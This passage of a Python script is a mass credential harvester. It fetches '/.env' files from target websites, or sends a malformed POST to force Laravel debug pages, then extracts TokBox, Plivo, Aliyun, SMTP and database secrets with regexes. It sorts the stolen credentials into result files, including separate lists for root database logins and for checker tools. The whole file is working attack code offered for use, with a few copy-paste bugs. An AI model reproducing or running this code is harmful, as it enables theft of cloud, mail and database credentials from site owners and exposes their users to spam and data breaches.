tokbox_key = reg(r'TOKBOX_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg(r'| TOKBOX_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_secret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTOKBOX_KEY_DEV: '+str(tokbox_key)+'\nTOKBOX_SECRET_DEV: '+str(tokbox_secret)
remover = str(build).replace('\r', '')
save = open('Results/TOKBOX.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "TOKBOX_KEY_OLD" in text:
if "TOKBOX_KEY_OLD=" in text:
method = '/.env'
try:
tokbox_key = reg('\nTOKBOX_KEY_OLD=(.*?)\n', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg('\nTOKBOX_SECRET_OLD=(.*?)\n', text)[0]
except:
tokbox_secret = ''
elif '| TOKBOX_KEY_OLD | ' in text:
method = 'debug'
try:
tokbox_key = reg(r'TOKBOX_KEY_OLD\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_key = ''
try:
tokbox_secret = reg(r'| TOKBOX_SECRET_OLD\/td>\s+ | (.*?)<\/span>', text)[0]
except:
tokbox_secret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTOKBOX_KEY_DEV: '+str(tokbox_key)+'\nTOKBOX_SECRET_DEV: '+str(tokbox_secret)
remover = str(build).replace('\r', '')
save = open('Results/TOKBOX.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
elif "PLIVO_AUTH_ID" in text:
if "PLIVO_AUTH_ID=" in text:
method = '/.env'
try:
plivo_auth = reg('\nPLIVO_AUTH_ID=(.*?)\n', text)[0]
except:
plivo_auth = ''
try:
plivo_secret = reg('\nPLIVO_AUTH_TOKEN=(.*?)\n', text)[0]
except:
plivo_secret = ''
elif '| PLIVO_AUTH_ID | ' in text:
method = 'debug'
try:
plivo_auth = reg(r'PLIVO_AUTH_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
plivo_auth = ''
try:
plivo_secret = reg(r'| PLIVO_AUTH_TOKEN\/td>\s+ | (.*?)<\/span>', text)[0]
except:
plivo_secret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nPLIVO_AUTH_ID: '+str(tokbox_key)+'\nPLIVO_AUTH_TOKEN: '+str(tokbox_secret)
remover = str(build).replace('\r', '')
save = open('Results/PLIVO.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
else:
return False
except:
return False
def get_aliyun1(self, text, url):
try:
if "accessKeyId" in text:
if "accessKeyId=" in text:
method = '/.env'
try:
accessKeyId = reg('\naccessKeyId=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\naccessKeySecret=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| accessKeyId | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'accessKeyId\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| accessKeySecret\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\naccessKeyId: '+str(accessKeyId)+'\naccessKeySecret: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN1.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun2(self, text, url):
try:
if "SMS_KEY_ID" in text:
if "SMS_KEY_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nSMS_KEY_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nSMS_KEY_SECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| SMS_KEY_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'SMS_KEY_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| SMS_KEY_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSMS_KEY_ID: '+str(accessKeyId)+'\nSMS_KEY_SECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN2.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun3(self, text, url):
try:
if "OSS_ACCESS_ID" in text:
if "OSS_ACCESS_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nOSS_ACCESS_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nOSS_ACCESS_KEYS=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| OSS_ACCESS_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'OSS_ACCESS_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| OSS_ACCESS_KEYS\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nOSS_ACCESS_ID: '+str(accessKeyId)+'\nOSS_ACCESS_KEYS: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN3.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun4(self, text, url):
try:
if "ALI_OSS_ACCESS_ID" in text:
if "ALI_OSS_ACCESS_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALI_OSS_ACCESS_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALI_OSS_ACCESS_KEY=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALI_OSS_ACCESS_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALI_OSS_ACCESS_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALI_OSS_ACCESS_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALI_OSS_ACCESS_ID: '+str(accessKeyId)+'\nALI_OSS_ACCESS_KEY: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN4.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun5(self, text, url):
try:
if "SMS_ACCESS_KEY_ID" in text:
if "SMS_ACCESS_KEY_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nSMS_ACCESS_KEY_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nSMS_ACCESS_KEY_SECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| SMS_ACCESS_KEY_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'SMS_ACCESS_KEY_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| SMS_ACCESS_KEY_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSMS_ACCESS_KEY_ID: '+str(accessKeyId)+'\nSMS_ACCESS_KEY_SECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN5.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun6(self, text, url):
try:
if "ALIYUN_SMS_AK" in text:
if "ALIYUN_SMS_AK=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALIYUN_SMS_AK=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALIYUN_SMS_AS=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALIYUN_SMS_AK | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALIYUN_SMS_AK\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALIYUN_SMS_AS\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALIYUN_SMS_AK: '+str(accessKeyId)+'\nALIYUN_SMS_AS: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN6.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun7(self, text, url):
try:
if "AccessKeyId" in text:
if "AccessKeyId=" in text:
method = '/.env'
try:
accessKeyId = reg('\nAccessKeyId=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nAccessSecret=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| AccessKeyId | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'AccessKeyId\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| AccessSecret\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAccessKeyId: '+str(accessKeyId)+'\nAccessSecret: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN7.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun8(self, text, url):
try:
if "OSS_ACCESS_ID" in text:
if "OSS_ACCESS_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nOSS_ACCESS_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nOSS_ACCESS_KEY=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| OSS_ACCESS_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'OSS_ACCESS_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| OSS_ACCESS_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nOSS_ACCESS_ID: '+str(accessKeyId)+'\nOSS_ACCESS_KEY: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN8.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun9(self, text, url):
try:
if "ALIYUN_ACCESS_KEY_ID" in text:
if "ALIYUN_ACCESS_KEY_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALIYUN_ACCESS_KEY_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALIYUN_ACCESS_SECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALIYUN_ACCESS_KEY_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALIYUN_ACCESS_KEY_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALIYUN_ACCESS_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALIYUN_ACCESS_KEY_ID: '+str(accessKeyId)+'\nALIYUN_ACCESS_SECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN9.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun10(self, text, url):
try:
if "ALI_ACCESS_KEY" in text:
if "ALI_ACCESS_KEY=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALI_ACCESS_KEY=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALI_ACCESS_SECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALI_ACCESS_KEY | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALI_ACCESS_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALI_ACCESS_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALI_ACCESS_KEY: '+str(accessKeyId)+'\nALI_ACCESS_SECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN10.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun11(self, text, url):
try:
if "ALIYUN_ACCESSKEY_ID" in text:
if "ALIYUN_ACCESSKEY_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALIYUN_ACCESSKEY_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALIYUN_ACCESSKEY_KEY=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALIYUN_ACCESSKEY_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALIYUN_ACCESSKEY_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALIYUN_ACCESSKEY_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALIYUN_ACCESSKEY_ID: '+str(accessKeyId)+'\nALIYUN_ACCESSKEY_KEY: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN11.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun12(self, text, url):
try:
if "ALIYUN_ACCESS_ID" in text:
if "ALIYUN_ACCESS_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALIYUN_ACCESS_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALIYUN_ACCESS_KEY=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALIYUN_ACCESS_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALIYUN_ACCESS_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALIYUN_ACCESS_KEY\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALIYUN_ACCESS_ID: '+str(accessKeyId)+'\nALIYUN_ACCESS_KEY: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN12.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun13(self, text, url):
try:
if "ALIYUN_ACCESSKEYID" in text:
if "ALIYUN_ACCESSKEYID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nALIYUN_ACCESSKEYID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nALIYUN_ACCESSKEYSECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| ALIYUN_ACCESSKEYID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'ALIYUN_ACCESSKEYID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| ALIYUN_ACCESSKEYSECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nALIYUN_ACCESSKEYID: '+str(accessKeyId)+'\nALIYUN_ACCESSKEYSECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN13.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun14(self, text, url):
try:
if "AL_ACCESS_KEY_ID" in text:
if "SMS_KEY_ID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nAL_ACCESS_KEY_ID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nAL_ACCESS_KEY_SECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| AL_ACCESS_KEY_ID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'AL_ACCESS_KEY_ID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| AL_ACCESS_KEY_SECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAL_ACCESS_KEY_ID: '+str(accessKeyId)+'\nAL_ACCESS_KEY_SECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN14.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_aliyun15(self, text, url):
try:
if "SMS_ALIYUN_ACCESSKEYID" in text:
if "SMS_ALIYUN_ACCESSKEYID=" in text:
method = '/.env'
try:
accessKeyId = reg('\nSMS_ALIYUN_ACCESSKEYID=(.*?)\n', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg('\nSMS_ALIYUN_ACCESSKEYSECRET=(.*?)\n', text)[0]
except:
accessKeySecret = ''
elif '| SMS_ALIYUN_ACCESSKEYID | ' in text:
method = 'debug'
try:
accessKeyId = reg(r'SMS_ALIYUN_ACCESSKEYID\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeyId = ''
try:
accessKeySecret = reg(r'| SMS_ALIYUN_ACCESSKEYSECRET\/td>\s+ | (.*?)<\/span>', text)[0]
except:
accessKeySecret = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nSMS_ALIYUN_ACCESSKEYID: '+str(accessKeyId)+'\nSMS_ALIYUN_ACCESSKEYSECRET: '+str(accessKeySecret)
remover = str(build).replace('\r', '')
save = open('Results/ALIYUN15.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(accessKeyId)+"|"+str(accessKeySecret)
remover2 = str(build_forchecker).replace('\r', '')
save2 = open('Results/forchecker/aliyun.txt','a')
save2.write(remover2+'\n')
save2.close()
return True
else:
return False
except:
return False
def get_smtp(self, text, url):
try:
if "MAIL_HOST" in text:
if "MAIL_HOST=" in text:
method = '/.env'
mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
try:
mailfrom = reg("MAIL_FROM_ADDRESS=(.*?)\n", text)[0]
except:
mailfrom = ''
try:
fromname = reg("MAIL_FROM_NAME=(.*?)\n", text)[0]
except:
fromname = ''
elif "| MAIL_HOST | " in text:
method = 'debug'
mailhost = reg(r'MAIL_HOST\/td>\s+ | (.*?)<\/span>', text)[0]
mailport = reg(r'| MAIL_PORT\/td>\s+ | (.*?)<\/span>', text)[0]
mailuser = reg(r'| MAIL_USERNAME\/td>\s+ | (.*?)<\/span>', text)[0]
mailpass = reg(r'| MAIL_PASSWORD\/td>\s+ | (.*?)<\/span>', text)[0]
try:
mailfrom = reg(r"| MAIL_FROM_ADDRESS\/td>\s+ | (.*?)<\/span>", text)[0]
except:
mailfrom = ''
try:
fromname = reg(r"| MAIL_FROM_NAME\/td>\s+ | (.*?)<\/span>", text)[0]
except:
fromname = ''
if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "":
return False
else:
# mod aws
if '.amazonaws.com' in mailhost:
getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0]
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/'+getcountry[:-2]+'.txt', 'a')
save.write(remover+'\n\n')
save.close()
remover = str(build).replace('\r', '')
save2 = open('Results/smtp_aws.txt', 'a')
save2.write(remover+'\n\n')
save2.close()
elif 'sendgrid' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/sendgrid.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(mailhost)+"|"+str(mailport)+'|'+str(mailuser)+'|'+str(mailpass)
remover2 = str(build_forchecker).replace('\r', '')
save3 = open('Results/forchecker/sendgrid.txt','a')
save3.write(remover2+'\n')
save3.close()
elif 'office365' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/office.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif '1and1' in mailhost or '1und1' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/1and1.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif 'zoho' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/zoho.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif 'mandrillapp' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/mandrill.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif 'mailgun' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/mailgun.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif 'emailsrvr' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/emailsrvr.txt', 'a')
save.write(remover+'\n\n')
save.close()
elif 'ionos' in mailhost:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/ionos.txt', 'a')
save.write(remover+'\n\n')
save.close()
else:
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '+str(mailuser)+'\nMAILPASS: '+str(mailpass)+'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
remover = str(build).replace('\r', '')
save = open('Results/SMTP_RANDOM.txt', 'a')
save.write(remover+'\n\n')
save.close()
return True
else:
return False
except:
return False
def get_database(self, text, url):
try:
if "DB_HOST" in text:
if "DB_HOST=" in text:
method = '/.env'
try:
db_host = reg('\nDB_HOST=(.*?)\n', text)[0]
except:
db_host = ''
try:
db_port = reg('\nDB_PORT=(.*?)\n', text)[0]
except:
db_port = ''
try:
db_name = reg('\nDB_DATABASE=(.*?)\n', text)[0]
except:
db_name = ''
try:
db_user = reg('\nDB_USERNAME=(.*?)\n', text)[0]
except:
db_user = ''
try:
db_pass = reg('\nDB_PASSWORD=(.*?)\n', text)[0]
except:
db_pass = ''
elif "| DB_HOST | " in text:
method = 'debug'
try:
db_host = reg(r'DB_HOST\/td>\s+ | (.*?)<\/span>', text)[0]
except:
db_host = ''
try:
db_port = reg(r'| DB_PORT\/td>\s+ | (.*?)<\/span>', text)[0]
except:
db_port = ''
try:
db_name = reg(r'| DB_DATABASE\/td>\s+ | (.*?)<\/span>', text)[0]
except:
db_name = ''
try:
db_user = reg(r'| DB_USERNAME\/td>\s+ | (.*?)<\/span>', text)[0]
except:
db_user = ''
try:
db_pass = reg(r'| DB_PASSWORD\/td>\s+ | (.*?)<\/span>', text)[0]
except:
db_pass = ''
build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nDB_HOST: '+str(db_host)+'\nDB_PORT: '+str(db_port)+'\nDB_NAME: '+str(db_name)+'\nDB_USER: '+str(db_user)+'\nDB_PASS: '+str(db_pass)
remover = str(build).replace('\r', '')
save = open('Results/DATABASE.txt', 'a')
save.write(remover+'\n\n')
save.close()
build_forchecker = str(url)+"|"+str(db_host)+"|"+str(db_port)+"|"+str(db_user)+"|"+str(db_pass)+"|"+str(db_name)
remover2 = str(build_forchecker).replace('\r', '')
if str(db_user) == "root":
save3 = open('Results/forchecker/database_root.txt','a')
else:
save3 = open('Results/forchecker/database.txt','a')
save3.write(remover2+'\n')
save3.close()
return True
else:
return False
except:
return False
def printf(text):
''.join([str(item) for item in text])
print((text + '\n'), end=' ')
def main(url):
resp = False
try:
text = '\033[32;1m#\033[0m '+url
headers = {'User-agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36'}
get_source = requests.get(url+"/.env", headers=headers, timeout=5, verify=False, allow_redirects=False).text
if "APP_KEY=" in get_source:
resp = get_source
else:
get_source = requests.post(url, data={"0x01[]":"Ganyu"}, headers=headers, timeout=8, verify=False, allow_redirects=False).text
if "| APP_KEY | " in get_source:
resp = get_source
if resp:
remover2 = str(url).replace('\r', '')
